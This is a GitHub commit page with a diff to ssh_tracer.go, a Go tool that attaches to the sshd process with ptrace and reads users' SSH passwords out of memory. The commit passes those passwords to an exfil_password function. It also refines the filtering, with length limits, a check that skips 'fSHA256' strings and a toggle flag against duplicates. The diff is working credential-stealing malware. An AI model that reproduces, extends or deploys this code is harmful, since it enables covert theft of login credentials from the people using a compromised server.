Skip to content

Commit

Permalink
fixing duplicates and extra strings
Browse files Browse the repository at this point in the history
  • Loading branch information
MattKeeley committed Mar 2, 2024
1 parent 2e4a88f commit bf4cdfc
Showing 1 changed file with 4 additions and 1 deletion.
5 changes: 4 additions & 1 deletion ssh_tracer.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import (
"io/ioutil"
"regexp"
"runtime"
"strings"
"syscall"
)

Expand All @@ -19,6 +20,7 @@ func traceSSHDProcess(pid int) {
syscall.PtraceDetach(pid)
}()
var wstatus syscall.WaitStatus
var exfiled bool
for {
_, err := syscall.Wait4(pid, &wstatus, 0, nil)
if err != nil {
Expand Down Expand Up @@ -53,9 +55,10 @@ func traceSSHDProcess(pid int) {
}

var password = removeNonPrintableAscii(string(buffer))
if len(password) > 2 && len(password) < 250 {
if len(password) > 2 && len(password) < 100 && exfiled && !strings.HasPrefix(password, "fSHA256") {
go exfil_password(username, removeNonPrintableAscii(password))
}
exfiled = !exfiled
}
}
}
Expand Down

0 comments on commit bf4cdfc

Please sign in to comment.